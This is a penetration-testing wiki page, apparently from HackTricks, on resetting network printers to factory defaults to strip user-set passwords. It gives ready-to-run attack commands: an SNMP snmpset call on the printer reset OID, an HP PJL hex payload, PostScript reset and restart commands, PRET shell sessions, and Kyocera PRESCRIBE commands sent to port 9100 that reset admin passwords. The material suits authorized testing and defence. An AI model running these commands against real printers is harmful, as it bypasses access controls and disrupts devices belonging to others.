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**Resetting** a device to factory defaults is a security-critical functionality as it **overwrites protection mechanisms** like user-set passwords. This can usually be done by pressing a **special key combination** on the printer's **control panel**. Performing such a cold reset only takes seconds and therefore is a realistic scenario for local attackers or penetration testers, who can for example sneak into the copy room at lunchtime. However, **physical access** to the device is **not always an option**.
### SNMP
The Printer-MIB defines the **prtGeneralReset** Object (**OID 1.3.6.1.2.1.43.5.1.1.3.1**) which allows an attacker to restart the device (powerCycleReset(4)), reset the NVRAM settings (resetToNVRAM(5)) or restore factory defaults (resetToFactoryDefaults(6)) using SNMP. This feature/attack is **supported by a large variety of printers** and removes all protection mechanisms like user-set passwords for the embedded web server. While protection mechanisms can be efficiently bypassed, a practical drawback of this approach is that all **static IP address configuration will be lost**. **If no DHCP** service is available, the attacker will **not** be able to **reconnect** to the device anymore after resetting it to factory defaults.
**Resetting the device to factory default** can be accomplished using `snmpset` command as shown below (you need to know the **community string**, by default in most cases is `public`):
```bash
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
```
### [PML](./#pml)/[PJL](./#pjl)
In many scenarios an attacker does not have the capabilities to perform SNMP requests because of firewalls or unknown SNMP community strings. On **HP devices** however, **SNMP** can be transformed into its **PML representation** and embed the request within a legitimate print job. This allows an attacker to **restart and/or reset the device** to factory defaults within ordinary print jobs as shown below:
```bash
@PJL DMCMD ASCIIHEX="040006020501010301040106"
```
Anyone can reproduce this attack on HP printers, restarting or resetting the device can easily be reproduced using [**PRET**](https://github.com/RUB-NDS/PRET):
```bash
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PostScript
PostScript offers a similar feature: The **FactoryDefaults** system parameter, βa flag that, if **set to true** **immediately before** the **printer is turned off**, causes all nonvolatile parameters to revert to their **factory default** values at the next power-onβ. It must be noted that **PostScript** itself also has the capability to **restart** its **environment** but it requires a **valid password**. \
The PostScript interpreter however can be put into an **infinite loop** as discussed in [document processing](http://hacking-printers.net/wiki/index.php/Document\_processing) DoS attacks which forces the user to **manually restart** the device and thus reset the PostScript password.
Reset PostScript system parameters to factory defaults:
```bash
<< /FactoryDefaults true >> setsystemparams
```
Restart the PostScript interpreter and virtual memory:
```bash
true 0 startjob systemdict /quit get exec
```
Anyone can restart or reset a printer's PostScript interpreter can **easily be reproduced using** [**PRET**](https://github.com/RUB-NDS/PRET):
```bash
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PRESCRIBE
For **Kyocera devices**, the **PRESCRIBE page** description languages may be used to **reset the device** to factory default from within ordinary print jobs using one of the commands shown below:
```bash
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
```
To reproduce this attack open a raw network connection to port 9100/tcp of the printer and **send the commands documented above**.
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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